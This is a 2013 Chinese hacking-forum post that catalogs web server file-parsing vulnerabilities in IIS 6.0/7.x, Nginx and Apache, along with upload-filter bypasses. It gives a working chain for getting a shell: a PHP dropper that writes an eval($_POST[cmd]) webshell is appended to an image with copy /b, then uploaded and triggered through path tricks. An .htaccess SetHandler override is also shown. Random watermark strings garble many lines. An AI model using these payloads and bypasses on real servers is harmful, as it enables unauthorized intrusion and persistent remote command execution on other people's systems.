找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2852|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
: C+ S. d  U5 y" t, G4 e. m7 W9 k[+]IIS6.01 f- V) I3 ~6 d; c  _' Z
7 T) Y8 i/ O. v) a- Z. ^3 D
目录解析:/xx.asp/xx.jpg
. t( `  z4 l- \( |2 I4 B xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码" o6 {7 [0 ?' a% {; R* p
IIS6.0 会将 xx.jpg 解析为 asp 文件。
; `" o1 s9 Z# i. L后缀解析:/xx.asp;.jpg     ) o5 A6 g! h) @" z5 W; b* b
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。7 E- ]" t' E* P3 E% r' ~6 ^
默认解析:/xx.asa0 O4 S. m) Q  T9 M
         /xx.cer2 T+ z. i) `/ R% e+ q6 T
         /xx.cdx0 i' M7 T" w# M' b& U- R# m
IIS6.0 默认的可执行文件除了 asp 还包含这三种
, V# e. D4 }0 u) T1 x9 F. ` 此处可联系利用目录解析漏洞 % n6 Z- ~1 b. W/ y7 S% t
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg/ o0 C0 K1 X+ A2 k; n
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
% J. w( f0 {- i' _
1 c4 K) S  y6 ?0 T4 z! I IIS 7.0/IIS 7.5/Nginx <0.8.03# ~0 g' w% I1 N8 F: b( _
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面" t& l" F1 `) y6 s( s
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。  H! A. w" c$ i6 i: D
常用利用方法:
0 ~4 b3 p9 h. b& w4 g. f 将一张图和一个写入后门代码的文本文件合并将恶意文本
6 h6 _  \# r4 m% k 写入图片的二进制代码之后,避免破坏图片文件头和尾8 g+ G& y: Z. ]( n# W
如:( ?1 `$ |/ m4 ]6 O, l( s
copy xx.jpg /b + yy.txt/a xy.jpg  n8 B8 \$ u! `2 m7 M
#########################################################
9 R; P# O  G0 P  o( u! G8 O /b 即二进制[binary]模式7 ]' Z7 R5 f+ f- |: c5 q
/a 即ascii模式( H. O! d* V, e+ [3 Q6 {
xx.jpg 正常图片文件  X3 A" N# }) c  @
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),- Q8 |/ [4 i: M4 i# x, p
'<?php eval($_POST[cmd])?>');?>4 |5 h  M$ t6 D2 ]4 f/ A
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
" R' ]1 T3 F7 I, z: u: Y" P& H' D 为shell.php的文件' m8 p; I* C* K" t  M/ c
###########################################################* P* Q3 ?9 v- j; ^% q
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
# b; d7 v, d) ^2 X/ V 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
( N. S) f$ u4 y. a8 z 密码 cmd
& P0 o+ {- j4 |6 s; \% a[+]Nginx <0.8.033 v- S8 z2 L5 A9 N$ K
  }! @+ O) a" g9 Y
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
& ~" s3 n$ y) `% A% b 在一个文件路径(/xx.jpg)后面加上%00.php! V* k' {% _+ g. W' o
会将 /xx.jpg%00.php 解析为 php 文件。" s% U3 C( Y+ P- v
[+]Apache<0.8.03
4 X4 E/ i1 ^, N% N5 n! {' @
7 d2 r  D5 A0 T 后缀解析:test.php.x1.x2.x3
0 M9 {9 T5 ]) `  e+ v5 ]+ T Apache将从右至左开始判断后缀,若x3非可识别后缀,# P/ _: X2 K& o8 w
再判断x2,直到找到可识别后缀为止,然后将该可识别
1 s. W1 I* p/ w3 z5 _! ^! V& j 后缀进解析test.php.x1.x2.x3 则会被解析为php
5 C, K: g& h& g* i" y. W 经验之谈:php|php3|phtml 多可被Apache解析。2 n: ^( H2 f% R
[+]其他一些可利用的
7 k) }/ p3 s6 ^. h3 \, {
3 g8 ~" V- `( u" O1 [0 x( ^在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
4 w1 L5 ^# g2 t+ U5 e8 t+ p4 A若这样命名,windows会默认除去空格或点,这也是可以被利用的!
- g" S1 A! k: q0 B在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格7 r4 y) ?$ C; r% w9 d; h
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
" o0 `2 S* `+ d; C3 ^得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
4 x" p( a, N" S' P{Linux主机中不行,Linux允许这类文件存在}
" ]6 Z  d: u6 Q8 D: N+ m如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说8 ?. S% l0 M( R9 v' Y5 H
的,当初我并不知道),且可以被上传,那可以尝试在9 f6 ?5 ]% {$ v+ B, u! z
.htaccess中写入:5 Y0 D! M# |$ L& m0 D
<FilesMatch “shell.jpg”> * o: H  [4 v9 x1 Z  k4 X
SetHandler application/x-httpd-php 6 w6 G1 z$ v6 |. h9 b& A
</FilesMatch>
6 p4 B, h" K6 h% w0 g" O5 J- Ashell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
# X, ~& [7 e! i( t8 d[+]错误修改$ u8 ^- j! V' v; h7 x5 [5 K. J- B7 X9 i( X

- p7 p0 i0 |& C# Y3 D在 IIS 6.0 下可解析 /xx.asp:.jpg
2 ?% J# _  p1 P- m5 {{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去) }$ N: t; H" X6 X; f; u5 S) h1 T
剩下/xx.asp}修改:$ D7 h0 ?* V- W* ?2 P
先谢谢核攻击的提醒
, }! t1 O, o7 d/ L5 w2 E% v当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
- v5 G' @* i$ K$ ]4 u里是没有任何内容的,因为。。不好解释 大家自己看# V3 q! ^) ?, j, ?- T
http://lcx.cc/?i=24485 G2 \  x; T# p. `
http://baike.baidu.com/view/3619593.htm
/ N( X6 \! d5 \9 B
/ h1 a2 m# I: }/ C7 K/ V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表